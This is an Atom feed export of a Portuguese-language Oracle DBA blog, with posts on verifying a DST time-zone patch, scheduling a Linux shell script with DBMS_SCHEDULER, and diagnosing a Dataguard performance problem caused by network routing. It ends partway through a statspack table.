/&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to an idle instance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area     603979776 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1262224 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                247467376 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database Buffers             348127232 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Redo Buffers                   7122944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database opened.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; @../test_patch&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; select case to_number(to_char(to_timestamp_tz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2         ('20070311 00:00:00 US/EASTERN','YYYYMMDD HH24:MI:SS TZR')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3           + to_dsinterval('0 08:00:00'),'HH24'))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4         when 8 then 'The patch has not been applied'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5         when 9 then 'The patch has been applied correctly'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6         else 'Error' end "TZTEST (RUN FROM DB HOME)"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7    from dual;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TZTEST (RUN FROM DB HOME)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;The patch has been applied correctly&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; set echo off&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ lsnrctl start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LSNRCTL for Linux: Version 10.2.0.2.0 - Production on 28-FEB-2007 22:27:47&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1991, 2005, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting /oracle/10g/bin/tnslsnr: please wait...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TNSLSNR for Linux: Version 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System parameter file is /oracle/10g/network/admin/listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log messages written to /oracle/10g/network/log/listener.log&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;STATUS of the LISTENER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Alias                     LISTENER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Version                   TNSLSNR for Linux: Version 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Start Date                28-FEB-2007 22:27:47&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Uptime                    0 days 0 hr. 0 min. 0 sec&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Trace Level               off&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Security                  ON: Local OS Authentication&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SNMP                      OFF&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listener Parameter File   /oracle/10g/network/admin/listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listener Log File         /oracle/10g/network/log/listener.log&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listening Endpoints Summary...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Services Summary...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "PLSExtProc" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "lx10g" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  Instance "lx10g", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;The command completed successfully&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ /oracle/http/opmn/bin/opmnctl startall&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;opmnctl: starting opmn and all managed processes...&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Prontinho, rápido... não toma nem 20 minutos.  Minha base está instalada sobre o ASM, se a sua não... melhor, menos serviços para baixar. ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-1624699337620607401?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/1624699337620607401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=1624699337620607401' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/1624699337620607401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/1624699337620607401'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/02/dst-are-you-ready.html' title='DST Are you ready?'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-494308993491882167</id><published>2007-01-14T22:19:00.000-02:00</published><updated>2007-01-14T22:27:05.288-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>DBMS_SCHEDULER no Linux</title><content type='html'>Já postei aqui um exemplo de como executar o DBMS_SCHEDULER no &lt;a href="http://mportes.blogspot.com/2005/10/dbmsscheduler-executando-bat.html"&gt;Windows&lt;/a&gt;. Agora é a vez do linux.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Primeiro um script que, quando executa, atualiza um arquivo chamado "executou" com a data do momento.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@luke bin]$ pwd&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/home/marcio/bin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@luke bin]$ cat test_shell.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#!/usr/bin/ksh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;echo `date` &gt;&gt; /tmp/executou&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Verifique se o usuário do oracle no sistema operacional tem acesso ao script.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@luke bin]$ su - oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Password:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@luke ~]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@luke ~]$ ~marcio/bin/test_shell.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@luke ~]$ ~marcio/bin/test_shell.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@luke ~]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@luke ~]$ cat /tmp/executou&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:03:04 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:03:05 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@luke ~]$&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Isso significa que o oracle, usuário do sistema operacional dono do oracle 10g da minha instalação tem permissão e &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;consiguiu executar o script por 2 vezes, gerando o arquivo /tmp/executou com os respectivos horários.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Agora, vamos criar o job para executar de 2 em 2 minutos.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   2     dbms_scheduler.create_job&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3     (&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   4        job_name        =&gt; 'TEST_SHELL',&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   5        job_type        =&gt; 'EXECUTABLE',&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   6        job_action      =&gt; '/home/marcio/bin/test_shell.sh',&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   7        repeat_interval =&gt; 'FREQ=MINUTELY; INTERVAL=2',&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   8        end_date        =&gt; trunc(sysdate) + 30/24/60,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   9        enabled         =&gt; true,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  10        comments        =&gt; 'Teste para execucao de shell linux'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  11     );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  12  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  13  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;E verificar na user_scheduler_jobs.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; select job_name, run_count, to_char(end_date, 'hh24:mi:ss') end_date,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   2         to_char(next_run_date, 'hh24:mi:ss') next_run_date&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3    from user_scheduler_jobs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   4  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------ ------------- -------- --------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TEST_SHELL                                 0 00:30:00 00:18:58&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------ ------------- -------- --------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TEST_SHELL                                 1 00:30:00 00:20:58&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Ok, rodou o primeiro.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; !cat /tmp/executou&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:18:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------ ------------- -------- --------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TEST_SHELL                                 2 00:30:00 00:22:58&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;E agora segue até meu end_date ser alcançado!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; !cat /tmp/executou&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:18:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:20:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------ ------------- -------- --------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TEST_SHELL                                 3 00:30:00 00:24:58&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; !cat /tmp/executou&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:18:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:20:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:22:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------ ------------- -------- --------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TEST_SHELL                                 3 00:30:00 00:24:58&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JOB_NAME                           RUN_COUNT END_DATE NEXT_RUN&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------ ------------- -------- --------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TEST_SHELL                                 5 00:30:00 00:28:58&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; !cat /tmp/executou&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:18:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:20:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:22:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:24:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:26:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;no rows selected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL&gt; !cat /tmp/executou&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:18:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:20:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:22:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:24:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:26:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tue Jan 24 00:28:58 BRST 2006&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-494308993491882167?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/494308993491882167/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=494308993491882167' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/494308993491882167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/494308993491882167'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/01/dbmsscheduler-no-linux.html' title='DBMS_SCHEDULER no Linux'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-5526921604072293410</id><published>2006-12-18T08:02:00.000-02:00</published><updated>2007-03-12T14:20:24.045-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Problema de Performance.</title><content type='html'>&lt;div align="justify"&gt;Algumas vezes na carreira de DBA, é preciso ir além do banco de dados para solucionar um problema de performance. Há três semanas, houve uma manutenção na infra-estrutura e os usuários de uma de nossas bases, começaram a perceber um aumento no tempo de resposta de suas aplicações diárias. Assim começa esse curioso problema de performance.&lt;br /&gt;&lt;br /&gt;Quando fomos alertados, nossa equipe fez a primeira investigação e encontrou espera na gravação dos redos, resolvemos migrar os redologs para uma área exclusiva, já que esta atividade estava pendende havia algum tempo. Mesmo após a mudança, os usuários ainda reclamavam sobre desempenho levando um colega a reorganizar a base, porque notara linhas migradas. O tempo de export/import normal para a base de dados dos aplicativos era de no máximo 6 horas, qual a surpresa tomou 22 horas. Durante o procedimento de import, ele investigou as máquinas e estavam ociosas deixando a rede como óbvia ofensora nesse processo.&lt;br /&gt;&lt;br /&gt;Noss ambiente está protegido por Dataguard com proteção &lt;em&gt;&lt;strong&gt;Max Availability&lt;/strong&gt;&lt;/em&gt;, onde é assegurado que não haverá perda de dados, portanto quando há commits, a gravação da redolog buffer é confirmada nos dois redos log files, tanto no primário quando no secundário. Portanto a rede é fundamental para esse processo. Além disso, o nó primário é composto por dois servidores em cluster (não RAC), em cluster do fabricante (HP).&lt;br /&gt;&lt;br /&gt;Com o problema identificado, a questão agora era envolver a equipe de infra-estrutura na força-tarefa que havia sido criada para solucionar o issue, que até então era culpa exclusiva do banco de dados. A partir deste ponto, comecei a investigar a rede no sentido de provar o que realmente estava impactando o desempenho do banco. Buscamos as alterações em nosso sistema de Change Control para saber quais componentes havia sido alterados à época do início da ocorrência. vimos uma instalação de uma placa de rede no Switch do Servidor principal, portanto já era suficiente para envolver os engenheiros de rede, mas não, eles não vieram. O suporte nível um nos informou que não havia problema nas rotas e os gráficos não constatavam nenhuma mudança de comportamento na entrega dos pacotes. Voltaram-se os olhos novamente ao banco.&lt;br /&gt;&lt;br /&gt;Quando surgiu a idéia de comparar velocidade nas rotas entre os nós primários e secundários dos outros ambientes que também estão usando Dataguard e não apresentávam problema. &lt;em&gt;Voila&lt;/em&gt; - o RTT (Round-Trip Time) do pior era do 15ms (Milisegundos) e o box com problema era de 86ms.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-family:courier new;"&gt;$ ping -I 5 xxxx26 10240 3&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PING xxxx26: 10240 byte packets&lt;br /&gt;10240 bytes from 999.188.124.999: icmp_seq=0. time=87. ms&lt;br /&gt;10240 bytes from 999.188.124.999: icmp_seq=1. time=87. ms&lt;br /&gt;10240 bytes from 999.188.124.999: icmp_seq=2. time=86. ms&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;----xxxx26 PING Statistics----&lt;br /&gt;3 packets transmitted, 3 packets received, 0% packet loss&lt;br /&gt;round-trip (ms) min/avg/max = 86/87/87&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;Buscamos, com o comando traceroute verificar por onde o pacote viajava e finalmente o problema saltou aos olhos do pessoal de rede. O custo da entrega dos pacotes estava errada no switch e portanto forçava os pacotes irem até o meio do país e voltarem para o DataCenter correto. Uma vez resolvido o problema, vejamos a diferença nos statspacks (antes/depois).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;ANTES&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Load Profile&lt;br /&gt;~~~~~~~~~~~~                            Per Second       Per Transaction&lt;br /&gt;                                  ---------------       ---------------&lt;br /&gt;                 Redo size:            &lt;strong&gt;358,551.08&lt;/strong&gt;            936,950.59&lt;br /&gt;             Logical reads:             21,765.45             56,876.54&lt;br /&gt;             Block changes:                532.12              1,390.50&lt;br /&gt;            Physical reads:                258.55                675.64&lt;br /&gt;           Physical writes:                 65.15                170.25&lt;br /&gt;                User calls:                 89.23                233.16&lt;br /&gt;                    Parses:                 37.68                 98.46&lt;br /&gt;               Hard parses:                  3.10                  8.11&lt;br /&gt;                     Sorts:                 15.03                 39.28&lt;br /&gt;                    Logons:                  0.15                  0.39&lt;br /&gt;                  Executes:                108.45                283.39&lt;br /&gt;              Transactions:                  0.38&lt;br /&gt;&lt;br /&gt;Top 5 Timed Events&lt;br /&gt;~~~~~~~~~~~~~~~~~~                                                     % Total&lt;br /&gt;Event                                               Waits    Time (s) Ela Time&lt;br /&gt;-------------------------------------------- ------------ ----------- --------&lt;br /&gt;log file sync                                      13,355      13,008    69.20&lt;br /&gt;enqueue                                               353       1,001     5.33&lt;br /&gt;library cache pin                                     330         970     5.16&lt;br /&gt;LNS wait on SENDREQ                                   379         960     5.11&lt;br /&gt;LGWR wait on LNS                                  484,141         958     5.10&lt;br /&gt;         -------------------------------------------------------------&lt;br /&gt;                                                                  Avg&lt;br /&gt;                                                    Total Wait   wait    Waits&lt;br /&gt;Event                               Waits   Timeouts   Time (s)   (ms)     /txn&lt;br /&gt;---------------------------- ------------ ---------- ---------- ------ --------&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;log file sync                      13,355     13,044     13,008    974     35.1&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;enqueue                               353        330      1,001   2837      0.9&lt;br /&gt;library cache pin                     330        330        970   2939      0.9&lt;br /&gt;LNS wait on SENDREQ                   379          0        960   2533      1.0&lt;br /&gt;LGWR wait on LNS                  484,141     44,820        958      2  1,274.1&lt;br /&gt;LGWR-LNS wait on channel          241,880     44,820        958      4    636.5&lt;br /&gt;log file switch completion            283        261        266    938      0.7&lt;br /&gt;buffer busy waits                      26         13         38   1478      0.1&lt;br /&gt;local write wait                       35         34         34    968      0.1&lt;br /&gt;db file sequential read             6,250          0         13      2     16.4&lt;br /&gt;db file scattered read             24,772          0         11      0     65.2&lt;br 